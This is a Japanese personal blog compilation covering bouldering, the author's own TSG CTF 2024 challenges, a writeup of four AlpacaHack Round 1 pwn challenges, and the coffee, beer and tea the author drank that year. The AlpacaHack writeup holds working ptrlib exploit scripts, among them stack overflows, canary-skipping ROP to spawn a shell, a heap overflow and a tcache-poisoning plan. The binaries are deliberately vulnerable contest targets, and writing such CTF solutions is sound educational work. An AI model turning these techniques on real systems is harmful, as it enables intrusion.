ボルダリング 2024

昨年の記事 御殿下ボルダリング壁日誌2023 - 欣快の至り を改めて見直していたら、今年も何かしらのまとめを書いておきたくなってきたので簡単にまとめることにする。 昨年は「御殿下ボルダリング壁日誌2023」と題して記事を書いたが、今年はメインの壁が大学の御殿下から、スポドリ!(大学近辺で空いているそれなりに広い壁なので良い)や、B-PUMP 秋葉原(混みすぎていて気が狂う)に移ったので、もう「ボルダリング2024」としか言えなくなった。というのも今年の2月に御殿下のセットが更新され、初心者向けになったので高グレードの課題が減ってしまったため、通うモチベが減ってしまったのが原因である。前回のセットをもう少し楽しみたかった...

昨年と今年のボルダリング体験の違いは、成長がサチってきているかどうかにあると思う。昨年の記事を見てもらうとわかるように、昨年は、登るたびになにか新しいことができるという感覚があったが、今年は自分の感覚として強くなっていっているのか正直分からないという状態がずっと続いていた。おそらくさらにステップアップするにはもっと真摯に壁を登ることが必要だと思われるが、単に趣味として楽しいという感情のもとただ登るだけを繰り返していたのが原因である。まあ趣味なので別に良いが。実際、秋パンのグレードでいうと去年の年末に3級を初めて登れたが*1、今年も別に3級が余裕になることはなかったし、2級は手がつかないという状態が続いている。

今年も引き続きTSGの1チャンネルを不法占拠して壁メイツを募ったり議論していたりしていたが、ここに魔法少女の影🪄 さんがこんなスレを立てていた。 ここであげた課題を軸に今年のボルダリングを振り返ろうと思う。 私の印象に残っている課題は

などである。上に書いた課題は、何回も打ち込んだ結果できたものばかりなので必然的によく行ったジムに限定されているが、今年はこれ以外にも荻パン、Basecamp新橋、factory、新宿ロッキーあたりに訪問した。岩は今年も登らなかった。 一緒に登ってくれた各位はありがとうございました。また来年も一緒に登ってください。

2022年御殿下壁の4級紫

2022年セットの壁は良かった...この紫の課題は写真を見てもらうとわかるように、クモ型の謎ホールドをたくさん掴まなければいけない。特に初手が核心で、かなり強い振られを正確に蜘蛛ホールドの1部をピンチすることで止める必要があり、御殿下4級の中でもかなり苦戦した課題だった。結局2022年のセットは2月に、まだまだ打ち込める状態でなくなってしまい(3級の垂壁課題を1つクリアしたが、そこでタイムアップ)、セットが大きく易化してしまった。

とはいえ実はまだ2024年壁も全クリはしていない。インターネットに情報が一切ないので参照が不可能なのだが*2、黄緑色の3級とオレンジ色の2級が残されており、実はこれは3月からずっとこの状態である。オレンジは結局想定ムーブがあんまりわからないので放置しているが、黄緑3級は絶妙に掴めないフットホールドを掴む課題があり、これは今年中にクリアしたい課題だった。徐々につかめるようになってきてはいるが、まだ少し遠い。

あと、御殿下はある程度まぶされているので、結構自作の課題(笑)を作った。特に5月ごろはハマっていた。掴めそうで掴めなかったり、謎ムーブでなら取れる課題 *3 みたいなのを考えるのはパズルみがあって楽しい。とはいえ自分が登れない課題は作れないので、やはり成長の観点では強い人の作った課題が楽しみたいという気持ちになっていき(あとは、御殿下のまぶしが弱めで単に課題が作りにくい(言い訳))、最近は飽きてしまった。

秋パンA壁白ホールド3級

今年も秋パンもそれなりに行った。回数は分からない。問題点は、混み過ぎなところ。去年からさらに人が増えたように思う。

実際のところ、それほど頻度高く秋パンに行ったわけではなく、複数回の訪問を重ねてできた課題というのがこれしかなかったので、この課題を秋パン思い出課題に挙げた。初手がカチで嫌いだったり、ニーバーやトゥーなど万遍なく散りばめられた課題で秋パンあるあるで色々むずかしい要素が組み合わされた課題だったように思う。多分他の3級よりは少し甘め。

秋パンは今でも3級は打ち込んでも一日だとできないみたいな課題が多い。しかも更新頻度に対して行く頻度が少なすぎるので、次行くとなくなっているみたいなことが多く悲しい。感覚としては4級で1日打ち込んでできない課題はまずないだろうという感じだが、3級はできるわけないなとすら感じる課題もまだまだある。たまにワンちゃんを狙って2級を触ることもあるが、さすがに現状は厳しい。

正直4級登って十分楽しめし、なんなら5級をわいわい登るのでも良い。

ちなみに荻パンにも1度訪問したが、4級1個登れただけで3級は多少触ったが普通に無理だなという感じだった。sasuga...

スポドリ

今年一番行ったジム。大学から近く、いつも割と空いているが、セッターが良く更新間隔も自分のジム訪問頻度に対して適切で、それなりにホールドにお金がかかっている。しかもmoonboardがある。東京ドームマネー、いつもありがとう。課題の感じはセットのタイミングによって変わるが、4月ごろは秋パンより0.5くらい簡単だと認識していた。今は1.5くらい簡単な気がする(3級全完、2級が14(/16)個登れており、1級も2(/10)つほどできているみたいな状態)。

初めて訪問したのは、今年の4月ごろ?当時の壁では、4級は大半登れるがいくつか不可能があるなくらいの感じだった。そこから順番に不可能を解消し、3級までは全完したのだが、そのうちの一つの課題が紫ホールドG壁3級である。この課題は、4ヶ月くらいかけて登れるようになった。 スポドリは楽しい課題が多く、現在の壁でいえば、C壁赤ホールド3級は楽しいので20回くらい登っている気がする。 現在の課題だとE壁黄ホールドの2級が絶妙にきつくて好き

moonboard

スポドリにあるのでたまに取り組んでいた。初めて触れたのはちょうどボルダリング初めて1年を迎えるタイミングにおけるin on the action。いうて今でもV3しか触れないしV3も全然できん。 来年はもう少しベンチマークとして触っていきたいなと思っている。

まとめ

最後の方ちょっと書くのが適当になってしまった。徐々にサチってきているのと人生的に登るのが厳しくなってきそうだが、各位は来年も一緒に登ってくれると嬉しいです。アングラとか行きたい

*1:さすがにまぐれの部分もあったが

*2:御殿下ボルダリングさん更新応援しています><

*3:なお破壊される模様

TSG CTF 2024、及び、SQLite of Hand, H*, Cached File Viewerについて

改めて、TSG CTF 2024へのご参加ありがとうございました。writeupとは別に、作問した問題について所感を(日本語でカジュアルに)メモ書きしておこうと思います。

僕が関係した問題のwriteupは、こちらにまとめてあります

github.com

結局作問をしてしまった

昨年でTSG CTFでの作問は最後にしようと思っていました。 *1

実際もうTSGにいる時間も長くないと思っているので、適切な移行は行われるべきでそれが去年のCTFという認識だったので。 加えて、D論提出締切が12月の頭にあることなどを念頭に置くと、そちらに集中したい気持ちがありました。

実際僕が作問しなくても(ちょっと人手が足りていなかったかもしれないですが)CTFとしては何も問題なかったと思います。 なので、余計なお世話をしたという部分があります。 ただ、今年のTSG CTFの優勝チームは、SEC CON CTF International Finalsにqualifyされる特典付きということがあって、"強い"チームが適切に勝てるCTFが望まれるという状況があり *2、1週間前のタイミングでの作問状況などを総合的に勘案すると、それなりに難しい問題を複数追加するとともに、pwn筋が必要な問題を複数(結果作れたpwnは1問でしたが...)作っておく方が人類が幸福になると思ったので、作問することにしました。結局こういう差し出がましいことをしてしまうので、僕は早くサークルを去ったほうがいい

結局およそ1週間ほどは全てを完全に無視して作問していたので、人生サイドにも若干の支障が出ていて、まずい

SQLite of Hand (w/ mikit)

Sleight of Handで手品って意味らしい。pwn筋問題です。SQLite3のバイトコードを好きに書けるのでシェルを起動してください。以上。 個人的にはPythonとかOCamlとかLuaとかPHPとかそういう通常の言語処理系をpwnするより、ちょっとおもしろかったと思う(SQLを処理するのにある程度特化しているのでVMがちょうどいい感じに不便で、とはいえSQLite3のコードベースは大してデカくないのでリサーチが大変ではない)が、これはただの偶然です。

ISUCON後の懇親会中にmikitくんが、「SQLite3って内部でバイトコードインタプリタになっていて、これpwnしたらおもろくね?」って言ってきたので、問題にしました。ISUCONとmikitくんありがとう... *3

これに関連して問題数が不足していたrevジャンルを増やすために、SQLite3のバイトコードのrevを出したんですが、実行可能なバイナリを配る形にはなっていなかったので、情報が本当に足りているのかは実は最後まで不安で、感情がめちゃくちゃだったので、arataくんが最初に解いてくれたときは涙が止まらなくなりました(ありがとう...)

H*

「unsoundなHaskell向け篩型システム」を実装して出すという、アイデア実現のための実装がゴリゴリな問題。実は実装言語がOCamlという意味不明な言語 & バックエンドで使用されている言語がさらに意味不明なF*及びHaskellであることを除けばそこまで難しいことはしておらず、単にパースして、F*でrefinement type checkを行ったうえで、Haskellに変換してコンパイル&実行しているだけ。 *4 想定は、OCamlとHaskellのevaluation orderの違いをexploitするもので、以下のプログラムがOCamlだと発散するのでflagへreachableなpathが存在せずsafeとして判定されるが、Haskellだと遅延評価のおかげで発散せずflagが表示される。

let rec loop:: x::Integer{1>0} -> Dv(x::Integer{0>1}) = \x -> loop x in
  let n = loop 1 in
  flag 1

本当はもう少し難しくしたかったが、僕がとある定理をF*で示す方法が分からなかったので諦めました。できたらまた問題にします(いいえ)

問題が面白くできなくて泣いている様子

ただ、処理系を少しfancyにしたくて割り算を入れたばっかりにむしろ非想定解を生んでしまって泣きました。作者がHaskellをほとんど書いたことがないのがわかりますね

Cached File Viewer (w/azaika )

SQLiteの問題を作問しているさなか、研究室にいた azaika くんに、おもしろネタ乞食をしたところ降ってきたアイデアを 川外川で議論しながら、(半ば勝手に)問題にした。なのでこれはほとんどazaika問と言っていい。 話はC++ネタで、「多くの場合(SSOが効かない程度に長い文字列のときには)顕在化しないようなstring_viewのlifetime違反をちゃんと見つけて、exploitできますか?」という問題。 想定解であっても以下をするだけなので、easyタグをつけたが、非想定解ありの12 solvesで他の解かれ方を見ていると、難易度推定をややミスったかもしれない

$ nc 34.146.186.1 21005
1. load_file
2. read
3. bye
choice > 1
index > 1
filename > /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 1
filename > flag
Read 22 bytes.
content: TSGCTF{hQAz-yXc6fLoyK}

最初出した問題のミスはまじで申し訳なくて、その上で2にも残ってた /dev/fd/.. のミスは何年CTFをやっているのでしょうか?みたいなミスだった終わり。

まあでもdiscord見ていたら、keymoonくんが完全に題意を理解して解いてくれていたので happy happy happy~。 ちなみに、この問題をbruteforceなしで美しく解くには22バイトのregular fileが必要なんですが、keymoonくんと 同じ /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs を僕も使いました。

*1:ちなみに、すでに2度LIVE CTFでこれを反故にしてはいる。カスです

*2:ここは個人の思想の部分が入るが強いチームはpwn筋がある人間がいる

*3:ちなみにISUCONでは、今年もTシャツ圏内(23位?)だったので、これで7年連続らしい、チーム各位ありがとう..

*4:これらを全部まとめたDockerイメージを作るのが割としんどかった

AlpacaHack Round 1 (Pwn) Writeup (echo, hexecho, deck, todo)

keymoonくんが直近でずっと作り続けていた個人戦CTFプラットフォーム「AlpacaHack」の記念すべきFirst Roundに参加した。 *1 今回はptr-yudai 作問の Pwnが4問出題される6時間コンテストだった。

結果は、全完(5:20:30)で3位。以下に書くようにUbuntu 24.04を当初使っていた結果苦しんだ時間を念頭においても、1, 2位との差は大きかった。クーン

問題もあと一問ハード問足せばこれだけで24時間コンテストの問題セット(例えばSECCON quals?さすがに嘘か?)にしても良いんじゃないかという雰囲気(さすがにやや典型より過ぎかもしれないが)で、しかも6時間で解けるように設計されており非常に質が高かった。☆5です。

以下は、これからも応援しているという感情に基づくwriteup

echo

正直ちょっと舐めてたので、RTA CTF1問目くらいの難易度を想定していたら、かなり苦しんだ

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}
/* omitted */
void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

バイナリは、get_sizeでsizeを受け取ってその分だけget_dataをしてくれるだけのサービス。 abs(size)は、$-2^{31}$ を与えると整数オーバーフローするので(以下参照)

ubuntu@ip-172-31-19-240:~/test$ cat uo.c
#include <stdio.h>

int main(void) {
    int size = -2147483648;
    int size2 = abs(size);
    printf("%d\n", size2);
    return 0;
}
ubuntu@ip-172-31-19-240:~/test$ ./a.out
-2147483648

これをsizeに用いると(unsignedで見ると)BUF_SIZE超えのsizeを得ることができる。win関数があるので、あとはスタックオーバフローをして、retアドレスをwinに向ければよい。

from ptrlib import *

binary = "./echo"
elf = ELF(binary)

"""
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
"""
# libc = ELF("./libc.so.6")
r = Socket("nc 34.170.146.252 17360")
# """

def sla(*args):
    print(args)
    r.sendlineafter(*args)

win = elf.symbol("win")
logger.info("win: " + hex(win))

payload = p64(win) * 100
sla("Size: ", "-2147483648")
sla("Data: ", payload)
r.sh()

Third Blood

hexecho

長さの制限が無く入力として1バイトずつhexdecimalな数字を受け取るという以下のようなプログラム

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

以下のようにhexdecimalな形式で好きなだけ長いバイト列を送ることができるが、stack canaryがある。

❯ ./hexecho
Size: 4
Data (hex): 12345678
Received: 12 34 56 78

❯ checksec --file=hexecho
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

stack canaryをリークできるような余裕はないので、困ったという気持ちになるが、+や-をscanfに与えると書き込み先のバッファに何も書き込むことなく終了させることができることを思い出すと、バッファオーバーフローでcanaryの部分だけスキップして書き込むようにすればあとはROPができることが分かる。

❯ ./hexecho
Size: 256
Data (hex): + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 80 bc a7 74 ff 7f 00 00 0f 5c e9 2d 68 7a 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 00 2e 68 7a 00 00 a0 bc a7 74 ff 7f 00 00 05 24 e9 2d 68 7a 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 d0 bc a7 74 ff 7f 00 00 7b 84 e8 2d 68 7a 00 00 08 be a7 74 ff 7f 00 00 01 00 00 00 00 00 00 00

今回はwin関数が無いので、pwnする際にはsystem("/bin/sh")をするためにlibcアドレスのリークが必要になる。以下のsolverでは、第一段階でcanaryを避けながらmainにretをしつつ、さらにstack上に落ちているlibc_start_mainのアドレスをリークしlibcアドレスを得る。その上で二ターン目において system("/bin/sh") に対応するROPを行う(今回はcanaryもリークできているはずで避ける必要もないが避けている)。

from ptrlib import *

binary = "./hexecho"
elf = ELF(binary)

"""
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
"""
libc = ELF("./libc.so.6")
r = Socket("nc 34.170.146.252 51786")
# """

def wait_for_attach():
    if not is_remote:
        input('attach?')

def sla(*args):
    r.sendlineafter(*args)


buf = b"ABCDEFGH" * (264 // 8)

payload = buf.hex() + "\n"
payload += "+\n" * 8

rop = [
    next(elf.gadget("ret")),
    elf.symbol("main")
]
payload += p64(0xdeadbeef).hex()
payload += b''.join(map(p64, rop)).hex()
payload += "+\n" * 8

sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop)))
sla("Data (hex): ", payload)
l = r.recvlineafter(": ").decode("ascii")
l = l.split(" ")[-8:]
libc_ret = 0
for x in l[::-1]:
    libc_ret *= 256
    libc_ret += int(x, 16)
print("libc_ret:", hex(libc_ret))

# libc.base = libc_ret - 0x2a1ca
libc.base = libc_ret - 0x10d90 - 25 * 0x1000

# phase 2:

buf = b"HOGENEKO" * (264 // 8)

payload = buf.hex() + "\n"
payload += "+\n" * 8

rop = [
    next(libc.gadget("ret")),
    next(libc.gadget("pop rdi; ret")),
    next(libc.find("/bin/sh")),
    libc.symbol("system")
]

payload += p64(0xdeadbeef).hex()
payload += b''.join(map(p64, rop)).hex()
payload += "+\n" * 8

sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop)))
sla("Data (hex): ", payload)
r.sh()

Second Blood (微妙に24.04との環境差で苦しんでいた時間で捲くられて悔しい。カスだから最後 libc_start_main のオフセット分からなくてブルートフォースした。なんで?)

deck

ヒープ問。トランプのカードのデッキをシャッフルし、そのトップに有るカードを当てるゲームが実装されており、ユーザーはゲームプレイの他、シャッフルアルゴリズムの変更とユーザー名の変更が可能になっている。

typedef unsigned short card_t;
typedef struct _game_t {
  void (*shuffle)(card_t*);
  card_t *deck;
  char *name;
} game_t;
/** omitted **/
void shuffle_knuth(card_t *deck) {
  size_t i, j;

  for (i = DECK_SIZE; i > 0; i--) {
    j = rand() % (i + 1); // off-by-one!!
    swap_cards(deck, i, j);
  }
}

void game_play(game_t *game) {
  printf("Challenger: %s\n", game->name);
  game->shuffle(game->deck);
    /** omitted **/ 
}

void main() {
/** omitted **/ 
    puts("1. Play a game\n"
         "2. Change shuffle method\n"
         "3. Change your name");
    switch (getval("> ")) {
      case 1:
        game_play(game);
        break;

      case 2: /** omitted **/

      case 3: {
        char *name;
        size_t len = getval("Length: ");

        if (len > 0x1000) {
          puts("[-] Invalid length");
          break;
        }

        if (!(name = (char*)malloc(len + 1))) {
          puts("[-] Cannot allocate memory");
          break;
        }

        getstr("Name: ", name, len);

        free(game->name);
        game->name = name;
        break;
      }

      default:
        game_del(game);
        return 0;
    }

カード情報は、以下のように2バイト整数で管理されており、

#define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank))
#define CARD_SUIT(card) ((card_t)(card) >> 8)
#define CARD_RANK(card) ((card_t)(card) & 0xff)

これらのゲーム情報がゲーム開始時にmallocを用いて以下のように初期化される。

game_t* game_new() {
  game_t *game;
  char *name = NULL;
  card_t *deck = NULL;

  if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE)))
    goto err;
  if (!(name = strdup("Human")))
    goto err;
  if (!(game = (game_t*)malloc(sizeof(game_t))))
    goto err;

  for (size_t i = 0; i < DECK_SIZE; i++)
    deck[i] = MAKE_CARD(i / 13, i % 13);

  game->deck = deck;
  game->name = name;
  game->shuffle = shuffle_naive;
  srand(time(NULL));
  return game;

脆弱性は、上述の shuffle_knuthのoff-by-oneで、52番目の要素までswapしてしまう。上のゲーム初期化パートを見ると、ヒープ領域は以下のような順序で配置されている。

pwndbg> x/40gx 0x1f4b290
0x1f4b290:  0x0000000000000000  0x0000000000000071
/** cards **/
0x1f4b2a0:  0x0003000200010000  0x0007000600050004
0x1f4b2b0:  0x000b000a00090008  0x010201010100000c
0x1f4b2c0:  0x0106010501040103  0x010a010901080107
0x1f4b2d0:  0x02010200010c010b  0x0205020402030202
0x1f4b2e0:  0x0209020802070206  0x0300020c020b020a
0x1f4b2f0:  0x0304030303020301  0x0308030703060305
0x1f4b300:  0x030c030b030a0309  0x0000000000000021
/** strdup("Human") **/
0x1f4b310:  0x0000006e616d7548  0x0000000000000000
0x1f4b320:  0x0000000000000000  0x0000000000000021
/** game_t **/
0x1f4b330:  0x000000000040143a  0x0000000001f4b2a0
0x1f4b340:  0x0000000001f4b310  0x0000000000020cc1

したがって、cardsの一つ先の2バイトは、"Human"バッファのヒープ管理領域で長さを表す部分であることが分かる。すなわち、いい感じのswapが起こると次のバッファのサイズを大きくすることができると分かる。実際には、上述のように2バイト整数で管理されているMSBから2バイト目はsuitを表しており、これは0~3であり、1バイト目は0~12なので、1/4の確率でバッファサイズ0x200とかになるイメージである(実際にはis_mappedがついているかなども重要になる)。 少し頑張ると確率をあげることも可能だが、大した確率ではないので今回は0x200に固定した場合のみを考えた。

Humanのバッファの長さを大きくできるようになったので、次にこのバッファと名前の変更機能を用いてヒープバッファーオーバーフローを行う。今回のバイナリは以下のようにNo PIEだったので、

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

まずはGame構造体のshuffle関数をputsに書き換えたうえでcardsをprintf_got_addrにして、libcアドレスリーク、その上で同じプリミティブを用いて system("/bin/sh") を行った

full exploitは、GitHubを参照

sizes = []
#sizes.append(0x10)
for i in range(6):
    sizes.append(0x10 * i)
sizes.append(0x70)
sizes.append(0xf0)
#sizes.append(0x80)
for size in sizes:
    ch_name("A" * size)

ch_method(2)
play(1, 1)

ch_name("A" * 0x10)

wait_for_attach()
print("come on")
ch_name("A" * 0x8)
print("nice")
ch_name("A" * 0x8)
print("cool")

# libc_leak

payload = [
        0xdead, 0xbeef,
        0, 0x21,
        puts, printf_got]
payload = flat(payload, map=p64)[:-1]

ch_name(payload, 0x1f0)

r.recvuntil("3. Change your name")
sla(">", "1")
r.recvlineafter('Challenger:')
res = r.recvline()
sla(": ", 1)
sla(": ", 1)

l = r.recvlineafter("card: ")

printf = libc.symbol("printf")
libc.base = just_u64(res) - printf
print("libc_base:", hex(libc.base))

wait_for_attach()

system = libc.symbol("system")
binsh = next(libc.find("/bin/sh"))
assert(printf is not None)
assert(system is not None)

# overwrite
## free
ch_name(b"A" * 0x250)
payload = [
        0xdead, 0xbeef,
        0, 0x21,
        system, binsh]

payload = flat(payload, map=p64)[:-1]
ch_name(payload, 0x1f0)

r.recvuntil("3. Change your name")
sla(">", "1")

r.sh()

todo

かなり典型的な形のC++ノート問。std::stringや std::vectorが絡むのでちょっと筋肉がいる。以下が問題のソースコード

#include <iostream>
#include <vector>

int main() {
  size_t choice, index;
  std::string todo;
  std::vector<std::string> todo_list;

  std::cin.rdbuf()->pubsetbuf(nullptr, 0);
  std::cout.rdbuf()->pubsetbuf(nullptr, 0);

  std::cout << "1. add" << std::endl
            << "2. show" << std::endl
            << "3. edit" << std::endl
            << "4. delete" << std::endl;
  while (std::cin.good()) {
    std::cout << "> ";
    std::cin >> choice;

    switch (choice) {
      case 1: // add
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo);
        todo_list.emplace_back(todo);
        break;

      case 2: // show
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: " << todo_list[index] << std::endl;
        break;

      case 3: // edit
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo_list[index]);
        break;

      case 4: // delete
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        todo_list.erase(todo_list.begin() + index);
        break;

      default:
        return 0;
    }
  }
  return 0;
}

機能は 1. 好きな長さの文字列を std::cinで受け取って todo_list vectorに追加 2. todo_list のindexを指定して文字列を表示 3. todo_list のindexを指定して文字列を編集 4. todo_list のindexを指定して文字列を削除

脆弱性はindexが範囲内にあるかが todo_list.capacity()にあるかで判断している点(sizeであるべき)。したがって、vectorのサイズが縮まない限りはfree後の文字列へのUAFが可能。

残りはゴリゴリのC++ heap pwn。基本方針は 1. UAFで、tcacheのfdからヒープのアドレスをリーク(libcが2.35なのでencodeに注意) 2. 同じ要領で0x500くらいのバッファを使ってunsorted binsにつながったバッファのUAFでlibcアドレスをリーク 3. 次に、tcache poisoningを利用して、todo_list vectorと同じヒープバッファをstd::stringとして取得し、一番目の要素を environ に変更。 show(0)を通してstack address leak 4. tcache poisoningを用いてret addressを指すバッファを取得し、ROPのペイロードを送る 5. (ちゃんとfreeができるような)fake chunkを多数作って、todo_listのstringたちの持つバッファをそれらのfake chunkを指すように変更 6. mainからreturnしてRCE という流れ。5が必要なのは、std::vectorのデストラクタが最終的に自分の持っているバッファをfreeし始めるが、3や4をしている段階でfreeできない(freeすると落ちる)ようなバッファをどうしても作ってしまうので、辻褄合わせのため。

スクリプトはGitHub上に乗せたのでブログ上は長いため割愛。 https://github.com/moratorium08/ctf_writeups/tree/master/2024/alpacahack_1/todo

Third Blood

感想

最近、pwndbg/gefやptrlib、roprなどの新しいツーリングへの移行を行い、シェル周りの環境も整備したCTF用VMをUbuntu 24.04環境にて用意していたのだが、問題が軒並み22.04のlibcを使っていたので、挙動差に苦労した(いや最初から合わせろという話なんですが...)。特にtodoに対するスクリプトが結局remoteで動かず(人はなぜダメ元でこういうことをしてしまうのか)、泣く泣く古き良きgdb-pedaの入った環境を取り出してきて、こちらで todoとdeckを解いた。やはり老人のツーリングから逃げられないらしい。

個人戦CTF6時間は結構体力持ってかれるが、久々に元気出したなという感じだった。問題も(6時間個人コンテストと考えると)かなりちゃんとしていて(Cake並?RTACTF以上?みたいなイメージ)、これを毎月とか開催するのはさすがのptr-yudaiでもきついんじゃないかという気がするが、無理のない範囲で定期開催されていると嬉しい。

あとはAlpacaHackがもっと大きくなって、初回の結果を10年後とかに擦れると嬉しいかな。keymoon先生全力応援

*1:minaminaoさんもメイン開発者らしい。実のところ誰が作っているのかよく把握していない

今年飲んだもの(コーヒー、紅茶、ビール)

幅広く色々飲んだなと思ったので簡単にまとめる。

コーヒー

ほぼ毎日飲む。メインはハンドドリップだが、たまにマキネッタ、エアロプレス、エアロプレス with Prismoなど。マキネッタ等でエスプレッソめに入れて、トニックウォーターで割ったエスプレッソトニックを夏にやったが良かった。

正直FEVER TREEのトニックウォーター単体でもうまい
最近家にウイスキーを念のため(?)置くようにしたので、暇があったらそこらへんと雑に割りたいと思っていたが時間がなくてやっていない。酒を飲むと作業できなくなるの困る

基本的に豆は、深煎りが嫌いなわけではないが、バリエーションの多さが好きで浅煎り派なので、もっぱら浅煎りの豆を買ってきて飲んでいる

以下が今年飲んだ豆の(一部)

課金すれば基本うまいがちだが *1、そこまで高くなくて美味しかったなと最近思ったのはエルサルバドルのEL SAUCEと名前付けされていた豆 *2。 パカマラ種と呼ばれるエルサルバドルで人工交配されて作られた品種らしいが、割りと僕好みのフルーツらしさのある味わいだった。

最近の気づきだが、文京区の水のせいではないかと疑っている現象として自宅ではどうも抽出がアンダーめになる気がしていて、実家に返ってくると、同じ豆でもこんな味だったっけとなるときがある。実家と器具も違うのでファクターが水とは限らないが、来年は多少水にもこだわって遊んでみたい。

ちなみに、カフェイン過多を気にして1日朝1杯を目指しているが、しばしば眠い or 糖分が欲しい or 外に散歩に行きたいときに、大学構内になるスタバで、ラテやマキアート系を飲んでいた。特に、order & payで雑にスマホで注文できる機能を使い始めてから、オタク的には難しかった色々なシロップ・ソースの追加を行うことがボタンだけで簡単にできることを知り、1ヶ月間ほどこれで味をめちゃくちゃにして遊んで飲むのがブームになっていた。店員の方には申し訳なかったと思う。

ちなみにスターバックスのポイントがかなり溜まってそろそろ部分的に失効しだすので使わないといけないなと思っている

そういえば、シアトルに行ったのでスタバ一号店にも来訪しました。

(クラフト)ビール

酒は基本ビールしか飲んでいない。が、そもそもそんなに酒を飲まない *3

KMCアドベントカレンダーを読んでいたら見つけたutgwkkさんの書いたスニペット (今年飲んだビール - 私が歌川です) を使ってuntappdに登録されている情報を抽出した今年のんだビールリスト。

docs.google.com

重複した場合は多分書いてなかったり、有名どころのビールの場合も書いてないので、大体こんなもんかなという感じ。が、しばしば酒飲むとその後何飲んだか忘れてメモれないことがあるので、ちゃんと飲んだときにuntappdするかせめて写真だけでも撮っておこうという感情にN回なった記憶があるので少し足りないかも *4。思い出せるところだと、苗場飲んだ越後ビールとか、宮島のビールとか入ってないので後で雑に入れておくか。

好きなものリストは以下のような感じ

ただHazyが好きなだけやん、点数を飲んでる などのツッコミはご遠慮ください(そうです)。

悲しかったのは、今年シアトルいったときに雑にスーパーで買って日本に持って帰ってきたビールがまずかったこと。2本買ってきたんだけどその絶望がやばすぎて未だに(3ヶ月たってなお)1本冷蔵庫にある。もう絶望したくないから誰か飲んでくれ

シアトルでパッケージ買いしかけたが、念のためuntappdでレビューを見たら不評で購入を避けたSerengeti Wheat

紅茶

紅茶はあんまりわからないが、最近 mariage freresのアドベントカレンダーで、フレーバーティーを色々試してみるということをした *5

当初は朝にアドベントカレンダーをしていたが、そうすると1日のカフェイン量がなんか足りない気がしていて研究に差し障るので、朝はコーヒーに戻し、夜に帰宅後に紅茶を飲むようにした。結果的にカフェインが体に触ったのか昼夜逆転が深刻化した *6

これをやった結果、僕はフレーバーティーより浅煎りコーヒーでバリエーションを感じるほうが好きだなと思ったので、多分今後もコーヒー派を続けると思う。家にはマルコポーロあたりを置いておくだけにする。ちなみに結構きれいに撮れた写真を雑においとこ。これはBALTHAZARというやつ *7

僕が好きだったと思ったお茶を強いて一つ上げるならば、TOKYO RHAPSODY。個人的にはスパイスの効いたお茶よりも白茶の系のほうが好みかもしれないなとは思った。(TOKYO RHAPSODY自体はwhite teaではあるものの結構明るい色だった)

その他

他に何飲んだかな。日本酒、ワインは本格的に味の違いを覚えてられないんだよね。傾向か、"本当に飲みたくないやつだった"という足切りラインを超えていたかどうかしかわからん。 ウイスキー系も多少種類を飲んだが、「スモーキーだね...(笑)」くらいしか分からん。

酒でもコーヒーでも誘われたら行くので来年も誘ってください。ちなみに直近行きたいと思っているところとして 蔵前のLonichというコーヒー店があるので誰か一緒に行ってください *8。奢ってくれるとなお嬉しい(適当)

*1:神保町のglitch coffee考えてみると今年はあまり行ってないな

